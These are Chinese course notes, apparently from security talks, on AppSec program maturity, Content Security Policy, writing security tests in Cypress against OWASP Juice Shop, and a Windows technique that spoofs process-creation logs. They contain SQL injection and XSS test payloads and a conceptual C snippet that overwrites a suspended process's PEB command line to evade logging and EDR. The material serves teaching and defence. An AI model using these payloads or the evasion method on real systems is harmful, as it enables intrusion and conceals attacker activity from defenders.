  • 安全实践不一致:安全团队可能只与少数几个“友好”或“高优先级”的团队深入合作,导致不同团队产出的代码安全水平参差不齐。
  • 缺乏有效沟通:安全团队与开发团队沟通不畅,往往只是单向地发送漏洞报告,而没有坐下来共同讨论问题根源和解决方案。一个关键问题是:安全团队很少直接询问开发者“为什么不愿意修复这些漏洞?”

为什么这个模型效果不佳?因为你投入了大量资金,但安全状况却像打地鼠游戏一样零散且不可预测。工具未被充分利用,开发者感到沮丧,安全团队的努力未能转化为实际的安全提升,投资回报率很低。

模型三:严格管控与巨额支出

这种模型常见于大型、高度规范化的组织。安全流程被过度管控,充满了摩擦。

其特征包括:

  • 极高的流程摩擦:即使是运行一次简单的扫描,也可能需要长达数周、涉及多级领导的审批流程,严重阻碍了工作效率和创新。
  • 工具齐全但效用低下:拥有市场上几乎所有类型的安全工具(各种AST),但由于流程僵化,这些工具无法发挥应有作用。
  • 团队关系紧张:安全团队与开发团队处于对立状态,沟通往往不愉快、不专业。双方都不满意,人员流失率高。
  • 安全状况并不令人满意:尽管预算可能高达七位数,但过度复杂的治理结构使得团队无法灵活应对威胁,实际安全水平并未与投入成正比。

为什么这个模型效果不佳?因为它制造了普遍的痛苦,扼杀了敏捷性和协作精神。人们会因此离职,而组织并未获得与之匹配的安全收益。

如何改进你的安全模型

上一节我们分析了三种问题模型,本节中我们来看看如何针对性地改进它们,无论你的预算是多少。

成熟模型一:从零预算开始

如果你的团队处于“仅做渗透测试”的阶段且预算有限,可以采取以下免费或低成本措施来显著提升安全水平:

以下是零预算改进方案的具体步骤:

  1. 利用优秀的免费工具:社区提供了大量强大的开源安全工具,例如 Burp Suite (社区版)OWASP ZAPBandit (Python)、FindSecBugs (Java)、npm audit (Node.js)等。安全人员可以研究并推广这些工具给开发团队使用。
  2. 创建安全编码规范:编写一份简明扼要的文档,告诉开发者你们期望的安全编码实践。明确的要求能大大提高获得预期结果的可能性。
  3. 制定安全需求清单:在项目启动时,为不同类型的项目(如API、Web应用)提供一份核心安全需求清单。这能在开发初期植入安全考量。
  4. 尝试统一代码仓库:尽可能将代码集中到同一平台(如统一的GitLab或GitHub企业实例)。这能极大简化自动化安全扫描的部署和管理。
  5. 推动统一的开发流程:努力让各团队采用相似的系统开发生命周期(如都转向敏捷/DevOps)。流程一致后,安全实践才能更容易地集成进去。
  6. 对关键应用进行简易威胁建模:无需复杂模型。可以采用 “四问题框架”我们正在构建什么? 可能出什么问题? 我们要怎么做? 我们做得够好吗?。围绕关键应用进行一小时的讨论就能获得巨大价值。
  7. 分享历史安全事件:坦诚地与开发团队讨论过去发生的、与软件相关的安全事件。说明原因、影响及教训。这能极大地提升开发者的安全意识和参与度。
  8. 扫描代码中的秘密:使用免费工具(如 TruffleHog, Gitleaks)扫描代码库,查找并移除硬编码的密码、API密钥等敏感信息,改用程序化方式访问。
  9. 为“重病”应用部署WAF:对于漏洞太多、短期内无法彻底修复的应用,可以部署一个免费的Web应用防火墙(如 ModSecurity)作为临时“创可贴”,提供基础防护,为彻底修复争取时间。

完成以上步骤后,当你再次进行渗透测试时,报告将不再令人绝望。漏洞数量会减少,团队也有更多时间进行高质量修复。更重要的是,你的团队在整个过程中学到了知识,能力得到了提升。

成熟模型二:合理利用预算

如果你的团队已经在工具上投入但效果不彰,下一步是优化现有投资,并加强“人”的因素。

以下是拥有一定预算后的优化策略:

  1. 坚持基础工作:继续执行零预算方案中的所有有效实践。
  2. 招聘专职应用安全人员:这是最佳投资之一。招聘一位全职、懂技术、善于与开发者沟通的应用安全工程师。他能将许多免费方案落地执行。
  3. 投资付费的SAST工具:在各类工具中,付费的静态应用安全测试工具通常能带来最大提升。它们比免费工具误报率更低,能提供更可信、更可操作的报告,从而建立安全团队的信誉。公式:高质量报告 = 更少的误报 + 更可信的建议
  4. 重新评估所有工具:利用续约周期,审视每个工具的使用率、开发者反馈和实际效果。与供应商重新谈判价格,或更换为更受团队欢迎、集成度更好的工具。
  5. 确保工具完全部署:如果你为100个许可证付费,确保至少有90个被有效使用。与开发者沟通,找出使用障碍并解决。
  6. 提供建议和支持:努力成为开发团队可信赖的安全顾问,而不仅仅是漏洞报告者。当开发者遇到安全疑问时,愿意放下手头工作提供帮助。这将彻底改变双方的合作关系。
  7. 建立规范的事件响应流程
    • 创建便捷的事件上报渠道。
    • 培训开发者和运维人员识别软件安全事件。
    • 制定清晰的事件响应流程,并确保所有相关方都了解自己的职责。
  8. 考虑扩展团队:当从1人扩展到2人时,建议招聘两种不同类型的人才:一名技术精湛的渗透测试员和一名善于沟通、流程构建和自动化的“亲和型”安全工程师。两者结合能覆盖应用安全的各个方面。

成熟模型三:打破僵局,实现卓越

对于陷入过度管控和巨额支出的团队,目标是减少摩擦,提升效率,让安全成为赋能者而非阻碍者。

以下是向卓越安全项目迈进的关键步骤:

  1. 扩展你的项目规模:通过招聘更多“亲和型”安全工程师,或启动一个安全冠军计划,让每个开发团队都有一名对接人,从而将安全影响力规模化。
  2. 将指南升级为标准:将运行良好的安全实践(如安全编码指南)从“建议”升级为“公司标准”。这为新项目设定了明确的安全基线,并辅以支持帮助团队达标。
  3. 致力于提升开发速度:将“为开发者提速”作为核心目标。自动化一切可以自动化的工作(如扫描、部署安全检查),提供自助服务工具。开发者会因此喜爱安全团队。
  4. 为特定技术制定专项方案:为API、Serverless、GraphQL等特定技术栈制定专门的安全要求和工具链。
  5. 全面推行威胁建模:将安全左移,在设计和架构阶段通过威胁建模发现并修复设计缺陷。这是花费巨额预算后值得大力投入的领域。
  6. 建立企业级秘密管理策略:制定全公司统一的秘密管理政策,使用集中但隔离的密钥库,并设置提交前钩子防止秘密误提交。
  7. 实现持续自动化扫描:将所有安全工具配置为对生产环境进行定期、自动化的扫描(如每周扫描代码秘密),并将告警自动化。目标是“自动化所有重复性工作”。
  8. 提供多样化的、不枯燥的培训:针对大型团队,提供多种形式的培训(书籍、视频、音频、线下工作坊),考虑不同的学习风格和可访问性。
  9. 升级防护措施:考虑将基础的WAF替换为更先进的运行时应用自保护或下一代智能WAF,并正确配置以同时防御入侵和数据外泄。
  10. 专门处理应用安全事件:确保事件响应团队接受过软件安全事件识别的培训,或有应用安全专家参与响应过程。
  11. 采用数据驱动的方法:为你的安全项目设定明确的、可衡量的目标(如“将关键漏洞平均修复时间缩短20%”),并持续收集和分析数据,用数据指导决策和优化工作。

总结与资源

本节课中我们一起学习了三种常见的应用安全项目模型及其缺陷,并探讨了从零预算到充足预算情况下如何逐步成熟和改进这些模型。核心在于从被动的、基于合规的检查,转向主动的、嵌入开发流程的、以支持和协作为核心的安全实践。

记住,无论起点如何,持续改进都是可能的。关键步骤包括:统一流程、加强沟通、善用工具(免费或付费)、自动化重复任务,并最终通过度量和目标来驱动项目走向卓越。

免费资源

  • SheHacksPurple Academy:提供免费的应用程序安全、事件响应等在线课程。
  • Cyber Mentoring Monday:在社交媒体上使用此标签,寻找或提供职业导师机会。
  • TLDR Sec Newsletter:免费订阅,每周汇总最新的安全研究简报。

作者信息:Tanya Janca (SheHacksPurple),开发者布道师,多本应用安全书籍作者,致力于让安全更易于理解和实施。


总结:构建成熟的应用安全项目是一个旅程。从识别当前所处模型开始,采取渐进式步骤——无论是利用免费工具、优化现有投资,还是打破组织壁垒——你都能显著提升软件的安全性、团队满意度,并最终获得更好的投资回报。安全不是终点,而是一个持续改进的过程。

011:从入门到精通 🛡️

在本课程中,我们将学习内容安全策略 (CSP)。CSP 是一种强大的安全机制,用于保护你的 Web 应用免受跨站脚本 (XSS) 等多种威胁。我们将从基础概念开始,逐步深入到高级用法,包括如何构建、测试和优化一个有效的 CSP。

1:CSP 简介与核心概念

CSP 是一种通过 HTTP 响应头或 <meta> 标签传递给浏览器的安全策略。浏览器会强制执行此策略,以控制页面可以加载哪些资源。

CSP 的核心是指令。指令控制不同类型的内容,而源定义了这些内容可以来自哪里。

一个典型的 CSP 头看起来像这样:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

在这个例子中:

  • default-src 'self' 是指令,它规定默认情况下只能从同源加载资源。
  • script-src 'self' https://trusted.cdn.com 是另一个指令,它允许脚本从同源和指定的 CDN 加载。

2:CSP 如何工作

让我们通过一个简单的网页例子来理解 CSP 的工作原理。

想象一个包含以下内容的网页:

  • 来自同源的图片 (<img src="/logo.png">)
  • 来自外部域的脚本 (<script src="https://xyc.com/lib.js">)
  • 内联样式 (<style>body {color: blue;}</style>)
  • 一个 Data URL 图片 (<img src="data:image/png,...">)

如果没有 CSP,所有内容都会正常加载。

现在,我们应用一个非常严格的 CSP:default-src ‘none’。这意味着“不接受任何来源”。结果,页面上所有内容都会被阻止加载。

这显然过于严格。我们可以将其改为 default-src ‘self’,允许同源资源加载。此时,同源的图片可以加载,但外部脚本、内联样式和 Data URL 仍然被阻止。

我们可以进一步细化策略。例如,添加 script-src https://xyc.com 来允许该特定域下的脚本。或者,使用 style-src ‘self’ ‘unsafe-inline’ 来允许同源和内联的样式。

关键点:浏览器会为每个资源检查最具体的指令。例如,一个脚本会先检查 script-src 指令,如果该指令不存在,才会回退到 default-src

3:策略级别、模式与指令分类

CSP 有三个级别(可理解为版本)。目前主流浏览器已普遍支持 CSP Level 3,因此我们可以专注于 Level 3 的特性。

策略有两种模式:

  • 强制执行模式 (Content-Security-Policy):策略会被浏览器强制执行,违规资源将被阻止。
  • 报告模式 (Content-Security-Policy-Report-Only):策略不会被强制执行,但所有违规行为都会生成报告发送到指定端点。这对于开发和测试策略非常有用。

CSP 指令主要分为几类:

  • Fetch 指令:控制页面可以加载哪些资源(如 script-src, style-src, img-src, connect-src)。这是我们关注的重点。
  • 文档指令:控制页面的某些属性(如 base-uri)。
  • 导航指令:控制页面可以跳转到哪里或可以被谁嵌入(如 form-action, frame-ancestors)。
  • 报告指令:控制违规报告如何发送(如 report-uri)。
  • 其他指令:一些特殊用途的指令,如 upgrade-insecure-requests(将 HTTP 请求升级为 HTTPS)。

4:源列表详解

指令的值由源列表构成。以下是一些关键的源关键字和模式:

  • ‘none’:明确表示不匹配任何源。
  • ‘self’:匹配当前页面的源(协议、域名、端口)。注意:它包含从 HTTP 到 HTTPS 的升级,以及到默认端口的匹配。
  • 主机源:例如 https://example.com。你可以指定协议、主机名、端口和路径。
    • https://*.example.com:使用通配符匹配所有子域名。
    • 重要:通配符 * 仅用于主机部分,不能用于协议(如 *://example.com 是无效的)。
  • 协议源:例如 https:data:。这类源范围很广,应谨慎使用。
  • 脚本和样式专用源
    • ‘unsafe-inline’:允许内联的 <script> 块或 <style> 块。这会严重削弱 CSP 对 XSS 的防护能力
    • ‘unsafe-eval’:允许使用 eval()setTimeout(string) 等动态代码执行函数。
    • ‘nonce-<base64-value>’:允许携带特定随机数(nonce)属性的脚本或样式标签。
    • ‘<hash-algorithm>-<base64-value>’:允许哈希值与指定值匹配的内联脚本或样式。

5:实战构建 CSP 策略

上一节我们介绍了 CSP 的组成部分,本节中我们来看看如何为一个真实网站(以 NDC 安全大会门票页面为例)从头开始构建一个 CSP。

我们将使用 Chrome 开发者工具的 “Override Headers” 功能来模拟添加 CSP 头,这是一个非常便捷的开发方法。

初始策略:我们从最严格的策略开始:default-src ‘none’。应用后,页面完全无法加载,因为所有资源都被阻止。

逐步放宽:我们需要根据浏览器控制台的错误报告,逐步添加必要的源。

  1. 首先允许同源的基本资源:img-src ‘self’; script-src ‘self’; style-src ‘self’; font-src ‘self’; connect-src ‘self’
  2. 页面部分加载,但控制台报告内联样式错误。我们添加 ‘unsafe-inline’style-src 来暂时允许它们(后续应优化)。
  3. 接着处理脚本错误。对于内联脚本,控制台会提供其 SHA 哈希值。我们可以将该哈希值(如 sha256-...)添加到 script-src
  4. 处理外部资源:根据错误,逐步将必要的域名添加到相应的指令中,例如 img-src https://cdn.sanity.ioconnect-src https://sentry.ioscript-src https://checkin.no
  5. 使用通配符简化多个子域名:script-src https://*.checkin.no

处理第三方服务:像 Google Tag Manager 这样的服务需要添加多个特定域名到 script-srcconnect-src。Google 提供了详细的文档说明所需的配置。

最终检查:在策略基本构建完成后,使用在线工具(如 Google 的 CSP Evaluator)进行评估,它可以指出策略中可能存在的安全弱点或配置问题。

6:防御 XSS 与高级脚本控制

CSP 的主要目标是防御跨站脚本攻击。为了实现这一目标,我们需要对脚本加载进行严格管控。

避免使用 ‘unsafe-inline’:允许内联脚本意味着攻击者可以利用注入点直接执行恶意代码,这几乎使 CSP 的 XSS 防护失效。最佳实践是将所有内联脚本移出到外部文件中。

使用 Nonce 或 Hash:对于无法移除的内联脚本,应使用 Nonce 或 Hash 机制来安全地允许它们。

  • Nonce:服务器为每个页面响应生成一个随机数,并将其添加到 CSP 头(如 script-src ‘nonce-abc123’)以及页面中需要执行的 <script nonce=”abc123″> 标签上。只有匹配的脚本才会执行。
  • Hash:计算内联脚本内容的哈希值,并将其添加到 CSP 头(如 script-src ‘sha256-…’)。只有内容完全匹配的脚本才会执行。

‘strict-dynamic’ 关键字:这是一个更现代和强大的方法。当在 script-src 中使用 ‘strict-dynamic’ 时,浏览器会忽略所有主机源(如 ‘self’, https://example.com),只信任通过 Nonce 或 Hash 显示的脚本。更重要的是,这些被信任的脚本通过 document.createElement(‘script’) 动态加载的其他脚本也会自动被信任。这非常适合现代单页面应用。

其他加固措施

  • object-src 设置为 ‘none’,以防止通过 <object><embed><applet> 标签执行脚本。
  • 合理设置 base-uri,防止攻击者篡改页面中的相对 URL 基础地址。
  • 使用 frame-ancestors 指令来防止点击劫持,它可以指定哪些页面可以嵌入当前页面(替代旧的 X-Frame-Options 头)。

7:报告机制与常见陷阱

CSP 提供了强大的违规报告功能,帮助你监控策略在真实环境中的执行情况。

配置报告:使用 report-urireport-to 指令指定一个端点来接收 JSON 格式的违规报告。报告包含丰富的信息,如违规的页面 URL、被阻止的资源 URL、违反的指令、原始策略、以及脚本样本的前 40 个字符等,这对于调试和识别问题至关重要。

报告模式的价值:在正式实施强制 CSP 之前,先使用 Content-Security-Policy-Report-Only 模式部署策略。这样可以在不影响用户的前提下,收集真实的违规数据,了解策略需要如何调整,并观察是否有恶意注入尝试。

常见陷阱

  • 多个策略:如果服务器发送了多个 CSP 头,浏览器会同时应用它们。资源必须通过所有策略的检查,这可能导致意外的阻止行为。
  • 指令混淆:不要混淆 frame-ancestors(谁可以嵌入我)和 frame-src(我可以嵌入谁)。
  • 过度宽松的主机源:使用像 https://*.example.com 这样的通配符,或者允许公共 CDN(如 https://cdn.jsdelivr.net)用于脚本源,可能存在子域名接管或 CDN 被污染的风险。
  • 报告噪音:你会收到来自浏览器扩展、翻译工具、公司安全代理甚至恶意软件的违规报告。需要建立流程来区分这些“噪音”和真正的应用问题。

8:如何制定一个“好”的 CSP

本节我们将通过分析一个反面案例,总结如何制定一个有效的 CSP。

反面案例:这是一个真实且过于宽松的 CSP 策略。

default-src https: blob: data: ‘self’ safari-extension:;
script-src ‘unsafe-eval’ ‘unsafe-inline’ https: blob: data: ‘self’ safari-extension: https://*.zoom.us ... (数十个域名,包括各种CDN、跟踪器,甚至一些可疑或恶意的域名);

问题分析

  1. 根本性失效script-src 中包含了 ‘unsafe-eval’‘unsafe-inline’,这完全绕过了 CSP 对 XSS 的防护。
  2. 策略过于宽泛default-src 允许了 https:data:blob: 等协议,范围太大。
  3. 源列表冗长且危险script-src 包含大量域名,其中一些是公共 CDN(不可控),一些是通配符子域名(有接管风险),甚至混入了一些已知的恶意域名。这看起来更像是为了“让页面工作”而将所有报告过的域名无脑加入,而不是一个经过设计的安全策略。

正确思路
制定 CSP 的目标不是创建一个与当前网站行为 100% 兼容的宽松策略。相反,应该首先设计一个严格的安全策略(例如,基于 ‘strict-dynamic’ 和非内联脚本),然后反过来修改你的网站应用程序,使其能够适应并在这个严格策略下正常工作。这可能意味着重构代码以移除内联脚本、与第三方服务提供商沟通获取 CSP 兼容的集成方式,或者更换不兼容的库。

总结

在本节课中,我们一起学习了内容安全策略的完整知识体系。我们从 CSP 的基本概念和工作原理入手,逐步深入到如何为真实网站构建策略,并重点探讨了其防御 XSS 的核心机制。我们还了解了利用报告模式进行监控和调试的方法,以及制定一个严格、有效策略的正确理念。

记住,一个强大的 CSP 是 Web 应用安全的重要基石,但它需要与安全的编码实践和架构设计相结合。从项目开始的第一天就考虑 CSP,并采用 ‘strict-dynamic’ 等现代方法,是构建真正安全应用的最佳路径。

012:植物大战僵尸——Web安全世界中的自动化测试

在本节课中,我们将学习如何利用你已经熟悉的普通测试框架(如Cypress、Playwright等)来编写安全测试,从而像在游戏《植物大战僵尸》中布置防御一样,保护你的Web应用免受攻击。我们将探讨如何将安全思维融入自动化测试流程,识别常见漏洞,并构建一个多样化的“防御花园”。

概述

我们将从安全测试的基本隐喻开始,了解为何以及如何使用现有的端到端测试工具来检测安全漏洞,例如SQL注入、跨站脚本(XSS)和访问控制缺陷。课程包含实际代码演示,并会讨论如何将此类测试集成到开发工作流中。


从游戏到安全:一个隐喻 🎮

上一节我们介绍了本课程的主题。本节中,我们来看看如何用《植物大战僵尸》这款塔防游戏来比喻网络安全。

在这个比喻中:

  • 僵尸 代表威胁,即试图攻击我们应用程序的恶意行为者。
  • 植物 代表缓解策略,即我们部署的防御措施,如测试、工具和最佳实践。
  • 草坪(游戏场地) 代表我们的整个应用程序。
  • 房子 代表应用程序中需要保护的核心资产,如敏感数据或特权功能。

就像在游戏中布置各种植物来防御不同僵尸一样,在安全中,我们也需要部署多样化的防御措施。自动化测试,就像游戏中的“土豆地雷”,可以作为一种有效的“防御植物”,在攻击者触发时“爆炸”并提醒我们存在问题。


为何使用现有测试框架?🤔

既然有专门的安全扫描工具,为什么还要用普通的测试框架来写安全测试呢?

以下是几个关键原因:

  • 降低成本与学习曲线:你已经拥有这些工具并了解其用法。
  • 出色的信使:测试能很好地集成到你的开发流程中,及时通知你问题。
  • 回归测试:可以为已修复的安全漏洞编写测试,防止其再次出现。
  • 辅助重现:测试运行器的可视化输出(如Cypress)或追踪文件(如Playwright)能帮助团队重现和修复问题。
  • 理解工具原理:自己编写测试有助于理解专业安全工具在背后执行的操作。

当然,普通测试框架不能替代专业安全工具,但它们是一个强大的补充,尤其适合覆盖已知的攻击向量。


制定安全测试策略:优先级与风险 🗺️

在开始种植“防御植物”(编写测试)之前,我们需要规划花园的布局。这意味着要确定测试的优先级。

我们可以借鉴测试自动化的通用优先级思路,并将其应用于安全场景:

以下是制定优先级时需要考虑的问题列表:

  1. 最常使用的功能是什么? 用户(或攻击者)最常接触的地方。
  2. 哪些问题如果出现会造成最大损害? 对业务或数据影响最大的漏洞。
  3. 需要遵守哪些法律法规? 例如GDPR、PCI DSS等。
  4. 自动化实现的成本与难度如何? 使用现有框架通常成本较低。
  5. 业务价值是什么? 结合利益相关者的需求进行微调。

为了识别最常见的风险,我们可以参考权威资源,例如OWASP Top 10。它是一个由开放全球应用安全项目维护的十大最严重Web应用安全风险列表。从前端视角看,以下三项尤为重要:

  1. 失效的访问控制:用户能够在其预期权限之外进行操作。
  2. 加密机制失效:敏感数据因弱加密或缺乏加密而暴露。
  3. 注入:将不受信任的数据作为命令或查询的一部分发送到解析器。

实战:编写“普通”安全测试用例 💻

现在,我们进入实战环节。我们将使用端到端测试,因为它能模拟真实用户与整个应用栈的交互,更自然地发现安全问题。我们将以Cypress为例,但原理适用于Playwright、Selenium等其他框架。

我们将使用一个故意设计存在漏洞的应用 OWASP Juice Shop 作为测试目标。

测试1:检测SQL注入

SQL注入是OWASP Top 10中的典型漏洞。我们可以通过端到端测试模拟攻击者向输入字段注入恶意负载。

// 这是一个检测登录表单SQL注入的Cypress测试示例
describe('SQL Injection Test', () => {
  it('should not log in with SQL injection payload', () => {
    cy.visit('http://localhost:3000');
    cy.get('#navbarAccount').click();
    cy.get('#navbarLoginButton').click();
    cy.get('#email').type(`' OR 1=1--`);
    cy.get('#password').type('anything');
    cy.get('#loginButton').click();
    // 断言:期望出现错误信息,而不是成功登录
    cy.contains('Invalid email or password').should('be.visible');
  });
});

核心逻辑:我们向登录邮箱字段输入一个经典的SQL注入负载 ' OR 1=1--。在安全的应用中,这应该导致登录失败并显示错误信息。如果测试通过(即没有找到错误信息),则说明应用可能存在SQL注入漏洞,攻击者可能绕过认证。

测试2:检测跨站脚本(XSS)

XSS攻击允许攻击者在受害者的浏览器中执行恶意脚本。我们可以测试输入字段是否正确地过滤或转义了脚本标签。

// 这是一个检测搜索框XSS的Cypress测试示例
describe('XSS Test', () => {
  it('should not execute alert script in search box', () => {
    cy.visit('http://localhost:3000');
    // 监视window.alert方法
    const stub = cy.stub(window, 'alert');
    cy.get('#searchQuery').type('<script>alert("XSS")</script>');
    cy.get('.btn-search').click();
    // 断言:期望alert方法未被调用(即脚本未执行)
    expect(stub).not.to.have.been.called;
  });
});

测试3:检查安全标头(如CSP)

内容安全策略(CSP)头是缓解XSS等攻击的重要防线。我们可以使用测试框架的API测试功能来检查响应头。

// 这是一个检查CSP头的Cypress API测试示例
describe('CSP Header Test', () => {
  it('should have a secure Content-Security-Policy header', () => {
    cy.request('http://localhost:3000').then((response) => {
      // 断言1:响应应包含CSP头
      expect(response.headers).to.have.property('content-security-policy');
      const cspHeader = response.headers['content-security-policy'];
      // 断言2:CSP策略应包含`default-src 'self'`等安全指令
      expect(cspHeader).to.include(`default-src 'self'`);
      // 断言3:CSP策略不应包含不安全的指令,如`*`或`unsafe-inline`
      expect(cspHeader).not.to.include(`*`);
      expect(cspHeader).not.to.include(`'unsafe-inline'`);
      expect(cspHeader).not.to.include(`'unsafe-eval'`);
    });
  });
});

测试4:检测失效的访问控制

访问控制缺陷允许用户访问未经授权的资源。我们可以编写测试来模拟低权限用户尝试访问管理面板。

// 这是一个测试未授权访问管理页面的Cypress测试示例
describe('Broken Access Control Test', () => {
  it('should not allow regular user to access admin panel', () => {
    // 假设我们已以便携用户身份登录
    cy.loginAsNormalUser();
    // 尝试访问管理员URL
    cy.visit('http://localhost:3000/#/administration');
    // 断言:期望看到“访问被拒绝”或403错误,而不是管理界面
    cy.contains('Access denied').should('be.visible');
    // 或者检查HTTP状态码
    // cy.request({url: 'http://localhost:3000/#/administration', failOnStatusCode: false})
    //   .its('status').should('eq', 403);
  });
});

优化测试:随机化与可持续性 🔄

我们不可能为每个输入字段测试所有可能的恶意负载。因此,需要优化测试策略。

以下是一些实现测试随机化和可持续集成的建议:

  • 利用测试框架特性:例如,使用Cypress的fixtures功能存储不同的测试负载或路由,并在测试中随机选取。
  • 使用辅助库:使用像@faker-js/faker这样的库生成多样化的测试数据。
  • 使用插件:例如Cypress的cypress-map插件提供了cy.sample()命令,可以从元素集合中随机选取。
  • 集成到开发流程
    • 开发阶段:使用预提交钩子(pre-commit hooks)运行linter和SAST(静态应用安全测试)工具。
    • 测试阶段:在CI/CD流水线中运行我们编写的安全端到端测试、API测试,并集成DAST(动态应用安全测试)工具扫描。
    • 部署阶段:设置部署门禁,并定期进行渗透测试和生产环境监控。

超越端到端测试:其他测试类型 🧩

端到端测试只是工具箱中的一种。为了构建更健壮的防御,应考虑多种测试类型。

以下是可以用于安全测试的其他测试类型:

  • 单元测试/集成测试:适合测试工具函数、API端点或组件级别的安全逻辑,执行速度更快。
  • 契约测试:确保服务间的API契约不被破坏,避免意外暴露数据。
  • 基于属性的测试:这是一种强大的方法。你定义系统应始终满足的安全属性(例如,“所有用户输入在存入数据库前必须被转义”),然后测试框架会自动生成大量随机输入来验证该属性。fast-check是一个优秀的JavaScript库。
// 基于属性测试的伪代码概念
import fc from 'fast-check';
describe('Input Sanitization Property', () => {
  it('should always escape HTML special characters', () => {
    // 定义一个属性:对于任何随机字符串输入,经过清理函数后不应包含原始的危险字符。
    fc.assert(
      fc.property(fc.string(), (rawInput) => {
        const sanitized = sanitizeInput(rawInput);
        return !sanitized.includes('<script>') && !sanitized.includes('</script>');
      })
    );
  });
});

与专业工具结合:应对未知威胁 🛡️

我们编写的测试主要针对已知的攻击模式。为了应对未知的零日漏洞或复杂攻击,需要结合专业安全工具。

以下是一些可以集成的开源或免费工具类型:

  • 动态应用安全测试(DAST):如OWASP ZAP,可以配置为在测试运行时作为代理,主动扫描应用。
  • 静态应用安全测试(SAST):如SonarQube(社区版)、ESLint安全插件,在代码层面发现问题。
  • 软件成分分析(SCA):如npm auditOWASP Dependency-Check,检查项目依赖中的已知漏洞。
    # 在CI流水线中集成依赖检查的示例命令
    npm audit
    npm outdated
    

总结与要点 🏁

本节课中,我们一起探索了如何利用普通的自动化测试框架来增强Web应用的安全性。

回顾一下,主要有以下四个要点:

  1. 测试自动化是安全策略的优秀补充。无论你偏好使用现有框架还是专业工具,都应该对其进行投资。
  2. 将“有意识的测试用例”作为低垂果实。从编写负向测试(如无效输入、未授权访问)和API测试开始,成本低,收益明显。
  3. 将自建测试与外部工具相结合。自建测试覆盖已知攻击向量,专业工具帮助发现未知威胁,两者结合形成纵深防御。
  4. 利用所有测试类型。不要局限于端到端测试。根据场景使用单元测试、集成测试,特别是探索基于属性的测试,以实现良好的覆盖率和随机化,同时保持合理的执行时间。

最终目标是构建一个像《植物大战僵尸》后期关卡那样多样化和强大的“防御花园”,结合最佳实践、自身技能、自动化测试和专业安全工具,让攻击者知难而退,让你能更安心地交付产品。

感谢你的学习!

013:命令欺骗 - 你能信任进程创建日志吗?

在本节课中,我们将要学习一种名为“命令欺骗”的技术。这项技术允许攻击者篡改Windows系统中的进程创建日志,使得安全分析师无法看到攻击者实际执行的命令。我们将探讨其工作原理、影响范围以及当前安全工具的检测能力。

概述

命令欺骗是一种利用Windows进程创建机制的技术。它允许任何用户(无需管理员权限)在进程实际执行前,修改其命令行参数。这导致安全日志(如进程创建事件)记录的是被篡改的“虚假”命令,而非攻击者真正运行的恶意指令。这使得事件调查和威胁检测变得异常困难。

进程创建日志的重要性

上一节我们介绍了命令欺骗的基本概念。本节中我们来看看为什么进程创建日志对安全分析如此关键。

在Windows环境中,进程创建日志是我们检测恶意活动的主要依据。身份验证日志虽然有用,但缺乏上下文。当攻击者开始执行命令和进行操作时,进程创建日志(以及其中的命令行参数)提供了丰富的上下文信息。

以下是进程创建日志在不同安全产品中的表现形式:

  • 原生Windows事件日志 (Event ID 4688):包含时间戳、用户、进程名和命令行等信息。
  • Sysmon日志 (Event ID 1):提供更丰富的信息,如可执行文件哈希、完整性级别和原始文件名。
  • Microsoft Defender for Endpoint 设备进程事件:包含更多事件上下文,例如发起命令的原始工作站信息。

所有这些日志的核心价值在于命令行参数。分析师可以从中提取攻击者使用的工具、参数和意图。例如,一个Base64编码的PowerShell命令可以在日志中被解码,以揭示其真实目的。

命令欺骗技术原理

上一节我们了解了进程创建日志的价值。本节中我们来看看攻击者是如何欺骗这些日志的。

这项技术的核心在于Windows的进程环境块。PEB是一个用户模式数据结构,当通过命令行执行任何程序时,Windows都会创建它。关键在于,创建进程的用户可以写入PEB的内存位置。

以下是该技术的执行流程:

  1. 创建挂起进程:使用特定标志(如CREATE_SUSPENDED)创建一个新进程。此时,进程已被创建但未开始执行,Windows会记录此时的命令行(即“虚假命令”)到日志中。
  2. 定位并修改PEB:获取新创建进程的PEB,找到其中存储命令行参数的内存地址。
  3. 覆写命令行:将PEB中的命令行内存内容直接覆盖为攻击者想要执行的真实恶意命令。需要注意的是,覆写的内容必须与原始“虚假命令”占用相同的字节长度,因此通常需要用空格或其他字符填充虚假命令以达到所需长度。
  4. 恢复线程执行:调用ResumeThread,让进程开始执行。此时,进程将运行我们写入PEB的恶意命令,但Windows不会为此生成新的日志。

关键问题在于:Windows在步骤1记录日志,但攻击者在步骤3修改了将要执行的内容。因此,日志与实际情况完全不符。

// 概念性代码示例:修改PEB中的命令行
GetThreadContext(hThread, &ctx);
ReadProcessMemory(hProcess, (LPCVOID)(ctx.Rdx + 0x20), &peb, sizeof(PEB), NULL);
ReadProcessMemory(hProcess, (LPCVOID)(peb.ProcessParameters + 0x70), &cmdLine, sizeof(UNICODE_STRING), NULL);
WriteProcessMemory(hProcess, cmdLine.Buffer, spoofedCommand, spoofedCommandLength, NULL);
ResumeThread(hThread);

不同类型命令的欺骗效果

并非所有命令都能被完美隐藏。根据命令的执行方式,欺骗效果和可检测性也不同。以下是几种常见类型:

  • 复合命令:例如 cmd.exe 调用 powershell.exe,后者再执行实际命令(如 whoami)。虽然初始的cmd命令被欺骗,但powershell创建新进程执行whoami的行为会被记录。这为检测留下了线索。
  • 纯PowerShell命令:例如使用PowerShell cmdlet(如Add-MpPreference)直接在PowerShell会话中操作。如果通过命令欺骗启动PowerShell并运行此类命令,则进程创建日志中完全看不到真实的cmdlet。检测依赖于是否开启了PowerShell模块日志。
  • 内置工具命令:例如直接使用netsh修改防火墙。这类命令完全在初始进程内执行,不产生新的子进程。如果使用命令欺骗,安全日志中将完全缺失对此类操作的记录,这是最危险的情况。

当前安全工具的局限性

上一节我们看到了命令欺骗对不同命令的影响。本节中我们来看看当前安全生态系统的应对情况。

我们对多种企业级终端检测与响应产品进行了测试,结果喜忧参半。

  • EDR检测率:在测试的6款主流EDR产品中,约50%能够检测到命令欺骗技术的执行行为(无论后续命令是什么)。另外50%则完全无法检测,攻击可以持续进行。
  • 绕过检测:一个学生项目将原始工具用C语言重写后,成功绕过了之前能检测到的一款EDR产品。这表明许多EDR可能依赖简单的字符串或特征匹配,而非深入的行为分析。
  • Microsoft Defender的误报:Defender曾将命令欺骗工具检测为“Rosnam malware”,但这是一个泛化检测。重写后的工具版本成功绕过了该检测。更严重的是,Defender自身的检测告警界面中,显示的也是被欺骗的虚假命令,可能误导分析师。

日志增强与微软的回应

既然现有工具有限,我们能否通过增强日志来检测呢?我们尝试寻求微软的官方支持。

